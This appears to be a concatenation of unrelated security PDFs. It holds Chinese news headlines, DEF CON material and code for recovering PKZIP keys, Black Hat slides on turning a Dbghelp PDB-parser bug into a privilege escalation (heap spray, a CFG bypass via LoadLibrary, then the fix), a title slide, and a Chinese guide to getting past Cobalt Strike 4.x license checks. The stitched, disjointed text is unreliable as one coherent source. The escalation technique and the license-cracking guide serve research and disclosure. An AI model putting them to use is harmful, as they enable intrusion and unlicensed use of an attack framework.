[doonsec] [我不是Hacker] CVE-2019-0604分析及武器化
漏洞简介 该漏洞可造成Windows系统服务器的远程命令执⾏，有可能完全控制服务器。攻击者可将精⼼构造
的请
[doonsec] [鸿鹄实验室] D-Link DIR 3040 从信息泄露到 RCE
作者：OneShell@知道创宇404实验室时间：2021年7⽉26⽇7⽉中旬，Cisco Talos安全研
[doonsec] [潇湘信安] 记⼀次失败的实战渗透
内⽹渗透的过程中，⼀定要明确⽬标...
[doonsec] [橘猫学安全] ⼀次内⽹渗透测试实验过程
[doonsec] [南街⽼友] Mysql注⼊-Bypass啊理芸
dzt
[微信公众号] ⾼研班11⽉试题新鲜出炉！欢迎⼤家踊跃尝试，挑战⾃⼰！
⾼研班⽹课已开放报名！报名即送⼿机、硬盘！
[微信公众号] 详细分析CVE-2021-40444远程命令执⾏漏洞
看雪论坛作者ID：LarryS
[微信公众号] 倒计时1天！2021 KCTF秋季赛⽕热来袭！⽆需报名，直接开战！
和你的CTF团队⼀起拿下⽐分吧！
[微信公众号] 安全威胁情报周报（11.08-11.14）
Lazarus使⽤IDA Pro7.5展开攻击、Lazarus⼩号疑似被暴露、 0day、美国国防承包商遭到攻击、
Twitter.......
[微信公众号] 年轻时曾经也是朵花?
年轻时曾经也是朵花?
[doonsec] [橘猫学安全] 从前端信息泄露进⾏漏洞挖掘
[微信公众号] 今天中午12点，看雪·众安 2021 KCTF秋季赛挑战开启，书写你的传奇故事！
12：00正式开赛啦！快来书写属于你⾃⼰的传奇故事～
[微信公众号] Android APP漏洞之战——权限安全和安全配置漏洞详解
看雪论坛作者ID：随⻛⽽⾏aa
[微信公众号] 看雪讲师招募 | 虚位以待，只等你来！
看雪为你提供“舞台”，你只需“上演”精彩！
[doonsec] [⻉塔安全实验室] Windows应急响应
⽂章⾸发于：奇安信攻防社区https://forum.butian.net/share/806前⾔当企业发⽣
[doonsec] [合天⽹安实验室] Apache中间件渗透总结
[微信公众号] CVE-2020-27986: SonarQube 未授权访问漏洞在野利⽤通告
CVE-2020-27986: SonarQube 未授权访问漏洞在野利⽤通告
[微信公众号] Hadoop Yarn RPC未授权访问漏洞通告
Hadoop Yarn RPC未授权访问漏洞通告
[微信公众号] 安全⽇报（2021.11.15）
安全⽇报（2021.11.15）
[微信公众号] 关于CIS 2021⽹络安全创新⼤会延期举办的通知
原定于 2021年12⽉1⽇⾄12⽉2⽇在上海宝华万豪酒店举办的「CIS2021⽹络安全创新⼤会」将延期⾄2022
年春天举办，并全⾯升级为「CIS 2021 Spring·春⽇版」。
[微信公众号] FBI被⿊客攻击，对外发送⼤量虚假警告邮件
FBI的电⼦邮件服务器遭到了⿊客攻击，对外发送了⼤量虚假警告邮件，称收件⼈的⽹络已被⿊客⼊侵。
[微信公众号] macOS曝出零⽇漏洞，有攻击者借此针对中⽂⽤户
⾕歌安全⼈员指出，这是⼀种典型的⽔坑攻击，攻击者根据访问者的个⼈资料选择要攻陷的⽹站，其攻击对
象是 Mac 和 iPhone ⽤户。
[微信公众号] Web-Hacking-ToolKit：⼀款带有GUI的Web安全测试Docker镜像
Web-Hacking-ToolKit以Docker镜像的形式使⽤，并且带有完整的图形化⽤户界⾯⽀持。
[微信公众号] 【安全⻛险通告】SonarQube远程信息泄露漏洞安全⻛险通告
奇安信CERT致⼒于第⼀时间为企业级⽤户提供安全⻛险通告和有效解决⽅案。⻛险通告安全⻛险通告此次更
新新增内容
[微信公众号] 【安全热点周报】第220期:微软11⽉共发布55个漏洞补丁程序
全球⽹络安全⼤事件、漏洞热度排⾏、重点关注漏洞，尽在本周安全热点周报......
[微信公众号] 速⾃查！微步⽀持检测⼤规模在野利⽤的SonarQube未授权访问漏洞CVE-2020-27986
微步情报局监测到SonarQube⾼危漏洞出现⼤规模在野利⽤，并随附检测代码。 | pdf |
How we recovered
$XXX,000 of Bitcoin from an
encrypted zip file
Michael Stay, PhD
CTO, Pyrofex Corp.
DEF CON 2020
Technion - Computer Science Department - Technical Report CS0842 - 1994
ZIP Attacks with Reduced Known Plaintext
Michael Stay
AccessData Corporation
2500 N. University Ave. Ste. 200
Provo, UT 84606
[email protected]
Abstract. Biham and Kocher demonstrated that the PKZIP stream ci-
pher was weak and presented an attack requiring thirteen bytes of plain-
text. The deflate algorithm “zippers” now use to compress the plaintext
before encryption makes it difficult to get known plaintext. We consi-
der the problem of reducing the amount of known plaintext by finding
other ways to filter key guesses. In most cases we can reduce the amo-
unt of known plaintext from the archived file to two or three bytes,
depending on the zipper used and the number of files in the archive.
For the most popular zippers on the Internet, there is a fast attack
that does not require any information about the files in the archive;
instead, it gets doubly-encrypted plaintext by exploiting a weakness in
the pseudorandom-number generator.
1
Introduction
PKZIP is a compression / archival program created by Phil Katz. Katz had the
foresight to document his file format completely in the file APPNOTE.TXT,
distributed with every copy of PKZIP; there are now literally hundreds of “zip-
per” programs available, and the ZIP file format has become a de facto standard
on the Internet.
In [BK94] Biham and Kocher demonstrated that the PKZIP stream cipher
was weak and presented an attack requiring thirteen bytes of plaintext. Eight
bytes of the plaintext must be contiguous, and all of the bytes must be the
text that was encrypted, which is usually compressed data. [K92] shows that
the compression method used at the time, implode, produces many predictable
bytes suitable for mounting the attack.
Most zippers available today implement only one of the compression methods
defined in APPNOTE.TXT, called deflate. Deflate uses Huffman coding followed
by a variant of Lempel-Ziv. Once the dictionary reaches a certain size, the process
starts over. Since the Huffman codes for any of the data depend on a great deal of
surrounding data, one is forced to guess the plaintext unless one has the original
data. The difficulty of getting known plaintext was one reason Phil Zimmerman
decided to use deflate in PGP [PGP98]. Practically speaking, if one has enough
of the original file to get the thirteen bytes of plaintext required for the attack
in [BK94], one has enough to break the encryption almost instantly.
M. Matsui (Ed.): FSE 2001, LNCS 2355, pp. 125–134, 2002.
c
⃝ Springer-Verlag Berlin Heidelberg 2002
tlcg4.sage
2020-07-31
- 1/1 -
M = 2^32
c = 0x08088405
L = matrix([
[ M, 0, 0, 0],
[c^1, -1, 0, 0],
[c^2, 0, -1, 0],
[c^3, 0, 0, -1]
])
B = L.LLL()
size = 4
k10 = randint(0, M)
ks = [ c^(n + 1) * k10 % M for n in range(size) ]
print "ks: "
print map(hex, ks)
msbs = [(k & 0xff000000) for k in ks]
secret = [ks[i] - msbs[i] for i in range(size)]
w1 = B * vector(msbs)
w2 = vector([ round(RR(w) / M) * M - w for w in w1 ])
guess = list(B.solve_right(w2))
print "guess: "
# print [hex(Integer(guess[i])) for i in range(size)]
print guess
print "diff from msb + guess: "
# print [hex(Integer(ks[i] - msbs[i] - guess[i])) for i in
range(size)]
print vector(ks) - vector(msbs) - vector(guess)
mitm_stage1.cpp
2020-07-31
- 4/9 -
}
}
void write_stage1_candidate_file(FILE *f,
const vector<stage1_candidate> &candidates,
const size_t start_idx, const size_t num) {
fprintf(stderr,
"write_stage1_candidate_file: writing %ld candidates "
"out of %ld to file starting at index %ld.\n",
num, candidates.size(), start_idx);
write_word(f, num);
auto end_idx = start_idx + num;
for (size_t i = start_idx; i < end_idx; ++i) {
write_stage1_candidate(f, candidates[i]);
}
}
// info: the info about the archive to attack
// table: vector<vector<stage1a>> table(0x01000000)
void mitm_stage1a(archive_info &info, vector<vector<stage1a>> &table,
correct_guess *c) {
// STAGE 1
//
// Guess s0, chunk2, chunk3 and carry bits.
uint8_t xf0 = info.file[0].x[0];
uint8_t xf1 = info.file[1].x[0];
uint32_t extra(0);
for (uint16_t s0 = 0; s0 < 0x100; ++s0) {
fprintf(stderr, "%02x ", s0);
if ((s0 & 0xf) == 0xf) {
fprintf(stderr, "\n");
}
for (uint16_t chunk2 = 0; chunk2 < 0x100; ++chunk2) {
for (uint16_t chunk3 = 0; chunk3 < 0x100; ++chunk3) {
for (uint8_t carries = 0; carries < 0x10; ++carries) {
if (nullptr != c && s0 == c->sx[0][0] &&
chunk2 == c->chunk2 && chunk3 == c->chunk3 &&
carries == (c->carries >> 12)) {
fprintf(stderr, "On correct guess.\n");
}
uint8_t carryxf0 = carries & 1;
uint8_t carryyf0 = (carries >> 1) & 1;
uint8_t carryxf1 = (carries >> 2) & 1;
uint8_t carryyf1 = (carries >> 3) & 1;
uint32_t upper = 0x01000000; // exclusive
uint32_t lower = 0x00000000; // inclusive
mitm_stage1.cpp
2020-07-31
- 5/9 -
uint32_t k0crc = chunk2;
uint32_t extra = 0;
uint8_t msbxf0 =
first_half_step(xf0, false, chunk3, carryxf0, k0crc,
extra, upper, lower);
uint8_t yf0 = xf0 ^ s0;
k0crc = chunk2;
extra = 0;
uint8_t msbyf0 =
first_half_step(yf0, false, chunk3, carryyf0, k0crc,
extra, upper, lower);
if (upper < lower) {
if (nullptr != c && s0 == c->sx[0][0] &&
chunk2 == c->chunk2 && chunk3 == c->chunk3 &&
carries == (c->carries >> 12)) {
fprintf(stderr,
"Failed to get correct guess: s0 = %02x, "
"chunk2 = %02x, "
"chunk3 = "
"%02x, carries = %x\n",
s0, chunk2, chunk3, carries);
}
continue;
}
k0crc = chunk2;
extra = 0;
uint8_t msbxf1 =
first_half_step(xf1, false, chunk3, carryxf1, k0crc,
extra, upper, lower);
if (upper < lower) {
if (nullptr != c && s0 == c->sx[0][0] &&
chunk2 == c->chunk2 && chunk3 == c->chunk3 &&
carries == (c->carries >> 12)) {
fprintf(stderr,
"Failed to get correct guess: s0 = %02x, "
"chunk2 = %02x, "
"chunk3 = "
"%02x, carries = %x\n",
s0, chunk2, chunk3, carries);
}
continue;
}
uint8_t yf1 = xf1 ^ s0;
k0crc = chunk2;
extra = 0;
uint8_t msbyf1 =
first_half_step(yf1, false, chunk3, carryyf1, k0crc,
mitm_stage1.cpp
2020-07-31
- 6/9 -
extra, upper, lower);
if (upper < lower) {
if (nullptr != c && s0 == c->sx[0][0] &&
chunk2 == c->chunk2 && chunk3 == c->chunk3 &&
carries == (c->carries >> 12)) {
fprintf(stderr,
"Failed to get correct guess: s0 = %02x, "
"chunk2 = %02x, "
"chunk3 = "
"%02x, carries = %x\n",
s0, chunk2, chunk3, carries);
}
continue;
}
uint32_t mk = toMapKey(msbxf0, msbyf0, msbxf1, msbyf1);
if (nullptr != c && s0 == c->sx[0][0] &&
chunk2 == c->chunk2 && chunk3 == c->chunk3 &&
carries == (c->carries >> 12)) {
fprintf(stderr,
"MSBs: %02x, %02x, %02x, %02x, Mapkey: %08x, "
"carries: %x, "
"c.carries: %04x\n",
msbxf0, msbyf0, msbxf1, msbyf1, mk, carries,
c->carries);
}
stage1a candidate = {uint8_t(s0), uint8_t(chunk2),
uint8_t(chunk3), carries, msbxf0};
table[mk].push_back(candidate);
}
}
}
}
}
// info: the info about the archive to attack
// table: the output of mitm_stage1a
// candidates: an empty vector
void mitm_stage1b(const archive_info &info,
const vector<vector<stage1a>> &table,
vector<stage1_candidate> &candidates, const correct_guess *c,
size_t *correct_candidate_index) {
// Second half of MITM for stage 1
bool found_correct = false;
for (uint16_t s1xf0 = 0; s1xf0 < 0x100; ++s1xf0) {
for (uint8_t prefix = 0; prefix < 0x40; ++prefix) {
uint16_t pxf0(preimages[s1xf0][prefix]);
if (nullptr != c && s1xf0 == c->sx[0][1]) {
fprintf(stderr, "s1xf0: %02x, prefix: %04x ", s1xf0, pxf0);
mitm_stage1.cpp
2020-07-31
- 7/9 -
if ((prefix & 3) == 3) {
fprintf(stderr, "\n");
}
}
vector<uint8_t> firsts(0);
uint8_t s1yf0 = s1xf0 ^ info.file[0].x[1] ^ info.file[0].h[1];
second_half_step(pxf0, s1yf0, firsts);
if (!firsts.size()) {
continue;
}
for (uint16_t s1xf1 = 0; s1xf1 < 0x100; ++s1xf1) {
vector<uint8_t> seconds(0);
second_half_step(pxf0, s1xf1, seconds);
if (!seconds.size()) {
continue;
}
vector<uint8_t> thirds(0);
uint8_t s1yf1 = s1xf1 ^ info.file[1].x[1] ^ info.file[1].h[1];
second_half_step(pxf0, s1yf1, thirds);
if (!thirds.size()) {
continue;
}
for (auto f : firsts) {
for (auto s : seconds) {
for (auto t : thirds) {
uint32_t mapkey(f | (s << 8) | (t << 16));
for (stage1a candidate : table[mapkey]) {
stage1_candidate g;
g.chunk2 = candidate.chunk2;
g.chunk3 = candidate.chunk3;
g.cb1 = candidate.cb;
g.m1 =
(candidate.msbk11xf0 * 0x01010101) ^ mapkey;
// Get ~4 possible solutions for lo24(k20) =
// chunks 1 and 4
// A B C D k20
// ^ E F G H crc32tab[D]
// ----------
// I J K L crck20
// ^ M N O P crc32tab[msbk11xf0]
// ----------
// Q R S T (pxf0 << 2) matches k21xf0
// Starting at the bottom, derive 15..2 of KL
// from 15..2 of ST and OP
uint16_t crck20 =
((pxf0 << 2) ^
mitm_stage1.cpp
2020-07-31
- 8/9 -
crc32tab[candidate.msbk11xf0]) &
0xfffc;
// Now starting at the top, iterate over 64
// possibilities for 15..2 of CD
for (uint8_t i = 0; i < 64; ++i) {
uint32_t maybek20 =
(preimages[candidate.s0][i] << 2);
// and 4 possibilities for low two bits of D
for (uint8_t lo = 0; lo < 4; ++lo) {
// CD
maybek20 = (maybek20 & 0xfffc) | lo;
// L' = C ^ H
uint8_t match =
(maybek20 >> 8) ^
crc32tab[maybek20 & 0xff];
// If upper six bits of L == upper six
// of L' then we have a candidate
if ((match & 0xfc) == (crck20 & 0xfc)) {
// KL ^ GH = BC. (B = BC >> 8) &
// 0xff.
uint8_t b =
((crck20 ^
crc32tab[maybek20 & 0xff]) >>
8) &
0xff;
if (g.k20_count >= g.MAX_K20S) {
fprintf(stderr,
"Not enough space for "
"k20 candidate in "
"stage1_candidate.\n");
abort();
}
// BCD = (B << 16) | CD
g.maybek20[g.k20_count] =
(b << 16) | maybek20;
g.k20_count += 1;
}
}
}
if (0 == g.k20_count) {
continue;
}
candidates.push_back(g);
mitm_stage1.cpp
2020-07-31
- 9/9 -
if (nullptr != c && s1xf0 == c->sx[0][1] &&
s1xf1 == c->sx[1][1] &&
candidate.s0 == c->sx[0][0] &&
candidate.chunk2 == c->chunk2 &&
candidate.chunk3 == c->chunk3 &&
candidate.cb == (c->carries >> 12)) {
found_correct = true;
fprintf(stderr,
"Correct candidates index = %lx\n",
candidates.size() - 1);
if (nullptr != correct_candidate_index) {
*correct_candidate_index =
candidates.size() - 1;
}
}
}
}
}
}
}
}
}
if (c != nullptr && !found_correct) {
fprintf(stderr,
"Failed to use correct guess: s1xf0 = %02x, s1xf1 = %02x\n",
c->sx[0][1], c->sx[1][1]);
}
fprintf(stderr, "Stage 1 candidates.size() == %04lx\n", candidates.size());
}
}; // namespace mitm_stage1
7/31/2020
pyrofex / breakzip · GitLab
https://gitlab.com/pyrofex/breakzip
1/3
f2e30c52 | pdf |
#BHUSA @BlackHatEvents
Crashing Your Way to
Medium-IL: Exploiting the PDB
Parser for Privilege Escalation
Gal De Leon (@galdeleon)
Palo Alto Networks
Who am I?
●
Gal De Leon (@galdeleon)
●
Principal security researcher at Palo Alto Networks
●
Interested in fuzzing, vulnerabilities, exploits and mitigations
●
Microsoft MSRC MVSR 2018, 2019, 2020
○
~40 vulnerabilities
2
Agenda
●
What are PDBs?
●
Finding vulnerabilities in PDB parser
●
Attack surfaces
●
Exploit & Demo
3
●
Store debugging info (symbols) about an executable
●
Function names, globals, type info …
●
Created from source files during build
●
Used by debuggers
What are PDB Files?
4
0:007> .reload /f notepad.exe
0:007> x notepad!*
00007ff7`9b4c4520 notepad!__scrt_uninitialize_thread_safe_statics (void)
00007ff7`9b4a86b0 notepad!ShowOpenSaveDialog (void)
00007ff7`9b4c09e8 notepad!StringLengthWorkerW (void)
00007ff7`9b4c38e0 notepad!initialize_printf_standard_rounding (void)
00007ff7`9b4a1640 notepad!`dynamic initializer for 'szFileName'' (void)
...
The PDB File Format
●
Proprietary file format by Microsoft
○
Binary
○
Multi Stream Format (MSF)
●
Open sourced for non-MS compilers to produce PDBs
●
Parser implemented in Dbghelp.dll
○
Shipped by default
○
API to debug a process, load PDBs, extract symbols data ...
5
Let’s Fuzz PDB
6
Fuzzing Setup
7
●
Corpus - ~5000 PDBs from several sources
●
Test Harness - A program that loads a PDB file and parse it
○
Dbghelp!SymLoadModule
●
WinAFL fuzzer
Corpus
Mutator
Run
Harness
Crashes
Start
Repeat
8
What is the Attack Surface?
●
Remote symbols servers
●
Attacker controls / MitM symbols server can serve arbitrary PDBs
9
0:007> .sympath srv*http://msdl.microsoft.com/download/symbols
Symbol search path is:
srv*http://msdl.microsoft.com/download/symbols
Expanded Symbol search path is:
srv*http://msdl.microsoft.com/download/symbols
0:007> .reload /f notepad.exe
Victim Debugger
Symbol Server
Attacker
(MitM)
Report to Microsoft MSRC
●
18-08-2020 - Initial report to Microsoft MSRC
●
15-09-2020 - Doesn’t meet the bar for security servicing
○
Attack surface is too complex
11
“... In this case, Microsoft has decided that it will not be fixing this vulnerability
in the current version and we are closing this case. In order to exploit this an
attacker would need to control the symbol server or MitM the connection.
Then the victim would have to load a PDB from the server. At this time, you
are able to blog about/discuss this case and/or present your findings publicly
about the current version. …”
Other Attack Surfaces
●
Other components that use Dbghelp.dll to parse PDBs
○
How about elevation of privileges?
●
Text-search ‘Dbghelp.dll’ in all binaries under C:\Windows
○
Appverif.exe, appverifUI.dll, comsvcs.dll, devinv.dll, taskkill.exe … faultrep.dll, wer.dll
●
WER uses Dbghelp.dll!
○
I already discovered ~15 vulnerabilities in WER... Check out my BlueHatIL talk
12
Windows Error Reporting Recap
●
WER collects info regarding crashes / hangs and reports to Microsoft
●
Process crash -> WerFault.exe worker is launched
13
svchost.exe
(WerSvc)
Process.exe
ALPC
WerFault.exe
Parent: Process.exe
Child: WerFault.exe
CreateProcessAsUser()
How Does WerFault.exe Use Dbghelp.dll?
●
Parse the stacktrace of the crashing thread
●
Add stacktrace hash to error report
○
Allows Microsoft to group crashes by stacktrace
14
long long UtilGetStackTrace(long ProcessId, long ThreadId) {
/* ... */
HANDLE CrashingProc = OpenProcess(
PROCESS_ALL_ACCESS, 0, ProcessId);
SymInitialize(CrashingProc, NULL, fInvadeProcess=TRUE);
/* ... */
for ( ... ) { StackWalk(); }
15
WerFault.exe Permissions
●
Usually WerFault.exe runs with the same privileges of the crashing process
●
One exception: Low-IL crash -> Medium-IL WerFault.exe
16
●
ILs restrict processes running under the same user account
Integrity Levels (IL)
17
●
Low-IL is used for sandboxing
○
E.g. iexplore renderers run under Low-IL
●
Browser exploit chains: renderer RCE -> sandbox escape/EoP
What’s the Game Plan?
18
●
Elevate privileges from Low-IL to Medium-IL
Process.exe
(Low)
LoadSymbol
WriteFile
Process.exe
(Low-IL)
WerFault.exe
(Medium-IL)
crash.pdb
●
From Low-integrity process:
○
Write malformed PDB file to disk
○
Crash my own process (Low-IL)
○
WerFault.exe (Medium-IL) launches
○
WerFault.exe loads malformed PDB file
■
Exploit PDB parsing bug for EoP
Load PDBs From Arbitrary Paths
●
Cannot write to most paths as Low-IL
○
C:\users\gdeleon\AppData\LocalLow directory (%AppData%\LocalLow)
●
How to get WerFault.exe to load PDB from %AppData%\LocalLow?
●
PdbFilePath in PE / Executable header
○
Run my own EXE, point PdbFilePath to %AppData%\LocalLow
19
struct CV_INFO_PDB20
{
CV_HEADER CvHeader;
DWORD Signature;
DWORD Age;
BYTE PdbFilePath[];
};
20
(91c.1024): Access violation - code c0000005 (first chance)
6dd52abe mov eax,dword ptr [ebx+164h]
ds:002b:08007e6e=????????
0:000> k
ChildEBP RetAddr
02b8a4ec 6dd4ac82 dbghelp!ModCache::pbSyms+0xe
...
02b8f7f0 0072ceaf faultrep!WerpInitiateCrashReporting+0x40f
02b8f838 007039cd WerFault!UserCrashMain+0x2b1
02b8f878 007419a0 WerFault!wmain+0x13e
Dbghelp.dll Bug
21
DbgHelp!SymCache::PsymForImodOff
22
int Index = …; /* Read from PDB file */;
/* Certain checks on Index */;
Object* Obj = ObjectsArray[Index - 1];
Obj->VirtualFunctionCall();
DbgHelp!SymCache::PsymForImodOff
●
The bug - Index is allowed to be equal to 0
○
Type confusion
23
int Index = …; /* Read from PDB file */;
/* Certain checks on Index */;
Object* Obj = ObjectsArray[Index - 1];
Obj->VirtualFunctionCall();
-1
0
1
2
??
Obj0
Obj1
Obj2
int Index = 0; /* Read from PDB file */;
/* Certain checks on Index */;
Object* Obj = ObjectsArray[Index - 1];
Obj->VirtualFunctionCall();
What’s on Index -1?
●
ObjectsArray is allocated on the heap
●
There’s a heap header prior to every heap allocation
○
Metadata about the allocation
24
-1
0
1
2
Heap Header
Obj0
Obj1
Obj2
Heap Header Structure (32 bit)
●
8 bytes header prior to every heap allocation
○
Low DWORD part is confused with Object*
25
-2
-1
0
Header High
Header Low
Obj1
0:000> dt -t _HEAP_ENTRY
+0x000 UnpackedEntry : _HEAP_UNPACKED_ENTRY
+0x000 Size : Uint2B
+0x002 Flags : UChar
+0x003 SmallTagIndex : UChar
+0x004 PreviousSize : Uint2B
+0x006 SegmentOffset : UChar
+0x007 UnusedBytes : UChar
Heap Encoding
●
‘Security-cookie’ to prevent heap overrun exploits
○
Header XOR random key (_HEAP->Encoding)
●
8-bytes key generated per heap at runtime (ntdll!RtlpCreateHeapEncoding)
●
Part of the key is always set zero!
■
2 high bytes of the second dword
○
Remains cleartext (X ^ 0 = X)
26
0:000> dt -t _HEAP
ntdll!_HEAP
+0x050 Encoding
0:000> dd 01360000+50 L2
01360050 18be3a5a 00006ab6
Is the Heap Header Value Predictable?
●
Encoded header example: AAAAAAAA XXYYBBBB
○
XXYYBBBB => Fake Object*
●
MSB (XX) meaning is UnusedBytes
○
Diff between malloc(size) and actual chunk size
○
Remains cleartext (XX ^ 0)
27
●
ObjectArray is a small allocation
○
12 bytes
●
UnsuedBytes is predictable
○
0x18
●
Fake Object* is a low usermode address
○
0x18XXXXXX
0:000> dt -t _HEAP_ENTRY
+0x000 UnpackedEntry
+0x000 Size : Uint2B
+0x002 Flags : UChar
+0x003 SmallTagIndex : UChar
+0x004 PreviousSize : Uint2B
+0x006 SegmentOffset : UChar
+0x007 UnusedBytes : UChar
28
Heap Header
0
1
2
0x18XXXXXX
Obj0
Obj1
Obj2
Object
VPTR
Func1
Func2
...
Control this value
Control this value
int Index = 0;
Object* Obj = ObjectsArray[0 - 1 = -1];
Obj->Func2();
MOV eax, [ecx] ; Obtain vptr
CALL [eax + 4] ; Call vfunc
29
32Bit Crash? 32Bit WerFault!
●
32bit process crash -> 32bit WerFault.exe
○
Much easier to spray in 32bit
○
Allocators more predictable
Spray Primitive
●
Goal: Spray WerFault.exe address space from crashing process (Low-IL)
●
Dbghelp!SymInitialize loads PDBs for all loaded module
○
PDB #1 - Spray
○
PDB #2 - Trigger vulnerability
●
How to spray from PDB #1?
○
Very large PDB file
○
Entire PDB is mapped using kernel32!MapViewOfFile
■
kernel32!MapViewOfFile is predictable (64k alignment)
○
Dbghelp doesn’t unmap invalid PDBs
■
When bug is triggered (PDB #2) sprayed memory (PDB #1) is in place
30
Process.exe
(Low-IL)
Spray.pdb
WriteFile
WerFault.exe
(Medium-IL)
0
ffffffff
WerFault.exe Address Space
SymInitialize
Trigger.pdb
Spray.pdb
Spray
Trigger.pdb
Trigger
Heap Header
Objs Array
Obj
Process.exe
(Crashed)
0:000:x86> ub
dbghelp!ModCache::pbSyms+0xe9:
701e2f39 8b8354010000 mov eax,dword ptr [ebx+154h]
701e2f3f 8bb88c000000 mov edi,dword ptr [eax+8Ch]
701e2f45 8b07 mov eax,dword ptr [edi]
701e2f47 8b7078 mov esi,dword ptr [eax+78h]
701e2f4a 8bce mov ecx,esi
701e2f4c ff1568243370 call dword ptr [dbghelp!__guard_check_icall_fptr]
701e2f52 8bcf mov ecx,edi
701e2f54 ffd6 call esi
0:000:x86> .frame 0
00 006fe2e0 701e2f56 0x0e0e0e0e
33
Where to Call to?
●
Problem: CFG is enabled on WerFault.exe
○
CFI mitigation to prevent ROP/code-reuse attacks
○
Can only call CFG valid call targets
●
kernel32!LoadLibrary is a valid CFG target!
○
Load DLL from ‘%AppData%\LocalLow’ and run payload for entrypoint
●
ASLR is not an issue
○
DLLs loaded at same address regardless of IL
○
Fetch kernel32!LoadLibrary address at runtime (Low-IL)
■
Write it to spray.pdb
●
How to control kernel32!LoadLibrary argument?
○
Different calling conventions
Dbghelp Gadget (Arguments Reorder)
34
virtual long __thiscall DbhStackServices::GetSegmentDescriptor(..)
mov edi, edi
push ebp
mov ebp, esp
…
mov edi, ecx ; Put ‘this’ in edi (‘this’=0x0c0c0c0c)
push 0
push 2Ch ; ','
mov esi, [edi+0Ch] ; Get next virtual func address, from ‘edi+0Ch’
mov ecx, esi
push dword ptr [edi+4] ; Push an argument on stack, from ‘edi+4’
call ds:___guard_check_icall_fptr
call esi
Demo #1
35
Escape Internet Explorer EPM Sandbox
36
●
Enhanced Protected Mode - Low IL+AppContainer
○
iexplore.exe(Low+AC) -> WerFault.exe(Medium)
●
PDB bug behaves differently
○
Fake Object*/_HEAP_ENTRY points to a kernel-mode address
■
LFH - _HEAP_ENTRY struct is different (ExtendedBlockSignature vs UnusedBytes)
(b00.990): Access violation - code c0000005 (first chance)
dbghelp!ModCache::pbSyms+0xe:
6db12abe 8b8364010000 mov eax,dword ptr [ebx+164h] ds:002b:880002d8=????????
0:000> dd @edx-4 L4
007306ec 88000174 007076c0 007316f8 00731878
0:000> !heap -x @edx
Entry
User Size PrevSize Unused Flags
-----------------------------------------------------------------
007306e8 007306f0 0 - 8 LFH;busy
Escape Internet Explorer EPM Sandbox
●
Process creation is allowed from IE’s sandbox
●
Create a child process and exploit the bug from there
○
iexplore.exe(Low+AC) -> exploit.exe(Low+AC) -> WerFault.exe(Medium)
37
Demo #2
38
Microsoft Fix (CVE-2021-24090 / KB5000802)
39
●
WerFault.exe no longer parses PDB files
○
dbghelp!SymSetExtendedOption
○
(IMAGEHLP_EXTENDED_OPTIONS)3 = LOAD_SYMBOLS_DISABLED
SymSetExtendedOption(3, TRUE);
v33_Ret = SymInitialize(v11_CrashingProc, NULL, TRUE);
WerFault.exe:
if (SymGetExtendedOption(3)) {
_pwprint(L”load symbols is disabled!\n”);
return 4; }
Dbghelp.dll:
Takeaways
●
Fuzzing is very efficient for the right targets
●
Exploit works despite all mitigations
○
32bit compatibility layer isn’t as strongly mitigated
●
One bug, multiple attack surfaces
40
@galdeleon | pdf |
All your Sploits (and Servers)
are belong to us.
Echelon One
Executive Security Intelligence
We are:
David Mortman CSO in Residence, Echelon One
Rich Mogull Securosis
Chris Hoff Unisys
Robert "RSnake" Hansen CTO, SecTheory
Robert Graham CTO, Errata Security
David Maynor CTO, Errata Security
04/04/2008
Echelon One, LLC
3
Thanks!
Q&A | pdf |
想要理解整个认证过程，必须要动手走一轮代码。
想要理解整个认证过程，必须要动手走一轮代码。
想要理解整个认证过程，必须要动手走一轮代码。
想要理解整个认证过程，必须要动手走一轮代码。
想要理解整个认证过程，必须要动手走一轮代码。
想要理解整个认证过程，必须要动手走一轮代码。
0x00 前言
前几天搞好了 CS 4.1 的 key 填充，但是文章一直没有捋出来，周末抓了个时间，捋了一捋，勉强可以通
过。
这里提供了 CS 4.0 的认证过程，个人认为非常详细，文中配备认证的流程图，可以结合文中的代码注
释，外加自己的 IDEA 调试，可以完整理解整个过程。因为 4.0 与 4.1 差了一个关键 key（前期的处理方
式也多了一个步骤），因此这里就只针对 4.0 版本的认证进行说明。 附件中提供了 CSHook.jar ，是针
对 CS 4.1 版本的，并且文章中也明确提供了适用于 CS 4.1 的完整 key（使用该 key 需要删除多余的步
骤，直接使用 4.0 的验证）。
很多人拿到原版之所以没有搞破解，是因为缺少了最重要的 Sleeved 解密 key。 其实，到了 4.X 版本，
是没有办法进行"破解"的，因为 AES 的密钥是无法进行破译 ，所以 Sleeved 解密 key 只能等好心人提
供。
CobaltStrike 4.X 的认证，如果对 Java 及密码学相关有所了解，理解起来并不难。但是对于它的破解来
说，需要一个针对 Sleeved 模块的认证 key，这个 key 是无法进行穷举的，除非想不开了。因此对于破
解来说，与其说破解，还不如说是将 key 进行补全了。
0x01 准备工作
1.1、必备知识
1.1.1、RAS 算法之加密与签名的区别
加密和签名都是为了安全性考虑，但略有不同。常有人问加密和签名是用私钥还是公钥？其实都是对加
密和签名的作用有所混淆。简单的说，加密是为了防止信息被泄露，而签名是为了防止信息被篡改。这
里举 2 个例子说明。
第一个场景：战场上，B 要给 A 传递一条消息，内容为某一指令。
RSA 的加密过程如下：
在这个过程中，只有 2 次传递过程，第一次是 A 传递公钥给 B，第二次是 B 传递加密消息给 A，即
使都被敌方截获，也没有危险性，因为只有A的私钥才能对消息进行解密，防止了消息内容的泄露。
（1）A 生成一对密钥（公钥和私钥），私钥不公开，A 自己保留。公钥为公开的，任何人可以获取。
（2）A 传递自己的公钥给 B，B 用 A 的公钥对消息进行加密。
（3）A 接收到 B 加密的消息，利用 A 自己的私钥对消息进行解密。
第二个场景：A 收到 B 发的消息后，需要进行回复“收到”。
RSA 签名的过程如下：
在这个过程中，只有 2 次传递过程，第一次是 A 传递加签的消息和消息本身给 B，第二次是 B 获取
A 的公钥，即使都被敌方截获，也没有危险性，因为只有 A 的私钥才能对消息进行签名，即使知道了消
息内容，也无法伪造带签名的回复给 B，防止了消息内容的篡改。
但是，综合两个场景你会发现，第一个场景虽然被截获的消息没有泄露，但是可以利用截获的公
钥，将假指令进行加密，然后传递给 A。第二个场景虽然截获的消息不能被篡改，但是消息的内容可以
利用公钥验签来获得，并不能防止泄露。所以在实际应用中，要根据情况使用，也可以同时使用加密和
签名，比如 A 和 B 都有一套自己的公钥和私钥，当 A 要给 B 发送消息时，先用 B 的公钥对消息加密，
再对加密的消息使用 A 的私钥加签名，达到既不泄露也不被篡改，更能保证消息的安全性。
总结：公钥加密、私钥解密；私钥签名、公钥验签。
但是，有一个要注意的是：
1.1.2、HMAC 消息摘要算法
